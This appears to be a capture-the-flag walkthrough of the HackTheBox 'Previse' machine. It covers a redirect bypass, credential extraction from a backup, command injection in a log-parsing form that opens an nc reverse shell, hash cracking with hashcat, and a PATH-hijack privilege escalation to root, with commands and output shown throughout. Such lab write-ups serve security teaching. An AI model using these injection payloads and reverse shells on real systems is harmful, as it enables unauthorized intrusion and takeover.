Previse - [HTB]

Cover Image for Previse - [HTB]

Table of Contents


    Previse is an easy linux machine from HackTheBox where the attacker will have to intercept web server responses in order to create an administration account, allowing to download a web service backup file. Later will have to analyse the web application finding a path for an RCE. Then, will have to crack the credentials stored in a mysql database so you can obtain the root flag. Finally, the attacker will have to use the path hijacking technique in order to become root.

    This machine has an unintended way through SQLi so you do not need RCE. If you want to see how is done check xavilok's post.


    As always let's start scanning all opened ports in the box witth nmap.

    kali@kali:~/Documents/HTB/Previse$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Nmap scan report for
    Host is up (0.12s latency).
    Not shown: 65533 closed ports
    22/tcp open  ssh
    80/tcp open  http

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Previse$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80
    Nmap scan report for
    Host is up (0.12s latency).
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
    |   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
    |_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    | http-title: Previse Login
    |_Requested resource was login.php
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    # Nmap done at Sat Aug  7 17:51:13 2021 -- 1 IP address (1 host up) scanned in 11.98 seconds

    Trying to access to port 80 the web service always redirect us to login.php.

    Previse File Storage login.php

    Using gobuster we can obtain the following files, that if trying to access them redirect us again to login.php.

    kali@kali:~/Documents/HTB/Previse$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o gobuster.txt -u
    /files.php            (Status: 302) [Size: 4914] [--> login.php]
    /header.php           (Status: 200) [Size: 980]
    /nav.php              (Status: 200) [Size: 1248]
    /footer.php           (Status: 200) [Size: 217]
    /css                  (Status: 301) [Size: 314] [-->]
    /status.php           (Status: 302) [Size: 2966] [--> login.php]
    /js                   (Status: 301) [Size: 313] [-->]
    /logout.php           (Status: 302) [Size: 0] [--> login.php]
    /accounts.php         (Status: 302) [Size: 3994] [--> login.php]
    /config.php           (Status: 200) [Size: 0]
    /logs.php             (Status: 302) [Size: 0] [--> login.php]

    Exploitation 1

    However, trying to access to accounts.php we can intercept the server's response with BurpSuite (Right click request / Do intercept / Response to this request), observing the existance of the Location header responsible for always rederecting us to login.php.

    HTTP/1.1 302 Found
    Date: Sun, 08 Aug 2021 10:52:01 GMT
    Server: Apache/2.4.29 (Ubuntu)
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Location: login.php <====
    Content-Length: 3994
    Connection: close
    Content-Type: text/html; charset=UTF-8

    Removing the header and forwarding the request we can see the contents of accounts.php, allowing us to create an administrator account.

    New Accounts panel

    Now, we can access to files.php where we can obtain a file named SITEBACKUP.ZIP.

    Once downloaded, extracted and analysed the web contents. At config.php we can obtain the mysql credentials.

    kali@kali:~/Documents/HTB/Previse/Site$ unzip
    kali@kali:~/Documents/HTB/Previse/Site$ cat config.php 
    function connectDB(){
        $host = 'localhost';
        $user = 'root';
        $passwd = 'mySQL_p@ssw0rd!:)';
        $db = 'previse';
        $mycon = new mysqli($host, $user, $passwd, $db);
        return $mycon;

    Inside the file logs.php we can see that its executing a python script passing as a parameter the contents of the post form from file_logs.php.

    kali@kali:~/Documents/HTB/Previse/Site$ cat logs.php 
    //I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
    $output = exec("/usr/bin/python /opt/scripts/ {$_POST['delim']}");
    echo $output;
    $filepath = "/var/www/out.log";
    $filename = "out.log";    
    if(file_exists($filepath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filepath));
        ob_clean(); // Discard data in the output buffer
        flush(); // Flush system headers
    } else {

    Exploitation 2

    Intercepting the post request we can add the following command, obtaining a reverse shell as www-data.

    POST /logs.php HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    Connection: close
    Cookie: PHPSESSID=s4of7acn3lb7dvuv3h3fio97eh
    Upgrade-Insecure-Requests: 1
    delim=comma; nc -e /bin/sh 4444

    Privilege escalation 1

    Because we have the mysql credentials we can obtain the registered users from the web page.

    www-data@previse:/var/www/html$ mysql -u root -p'mySQL_p@ssw0rd!:)' -e "use previse; select username, password from accounts;"   
    < previse; select username, password from accounts;"
    mysql: [Warning] Using a password on the command line interface can be insecure.
    | username | password                           |
    | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
    | Marmeus  | $1$🧂llol$eBQMPwAvz9j9ZpK62qDI// |

    In order to decrytpt the password we can use hashcat.

    kali@kali:~/Documents/HTB/Previse$ cat hash.txt 
    kali@kali:HTB/Previse$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt                                                               
    Dictionary cache hit:
    * Filename..: /usr/share/wordlists/rockyou.txt         
    * Passwords.: 14344385
    * Bytes.....: 139921507
    * Keyspace..: 14344385

    The credentials can be used to access to the machine as m4lwhere, obtaining the user flag.

    kali@kali:~/Documents/HTB/Previse$ ssh m4lwhere@
    The authenticity of host ' (' can't be established.
    ECDSA key fingerprint is SHA256:rr7ooHUgwdLomHhLfZXMaTHltfiWVR7FJAe2R7Yp5LQ.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '' (ECDSA) to the list of known hosts.
    m4lwhere@'s password: ilovecody112235!
    m4lwhere@previse:~$ cat user.txt

    Privilege escalation 2

    We can execute as sudo the script

    m4lwhere@previse:~$ sudo -l
    [sudo] password for m4lwhere: 
    User m4lwhere may run the following commands on previse:
        (root) /opt/scripts/

    As you can see above, the command date doesn’t have a hard path.

    m4lwhere@previse:~$ cat /opt/scripts/
    # We always make sure to store logs, we take security SERIOUSLY here
    # I know I shouldnt run this as root but I cant figure it out programmatically on my account
    # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
    gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
    gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

    Hence, we can modify our PATH variable and create our own file named date contining our code obtaining a shell as root.

    m4lwhere@previse:/tmp$ echo -e "nc -e /bin/sh 4444" > date
    m4lwhere@previse:/tmp$ export PATH=/tmp:$PATH
    m4lwhere@previse:~$ sudo /opt/scripts/
    kali@kali:~/Documents/HTB/Previse/Site$ nc -lnvp 4444
    listening on [any] 4444 ...
    connect to [] from (UNKNOWN) [] 39420
    uid=0(root) gid=0(root) groups=0(root)
    cat /root/root.txt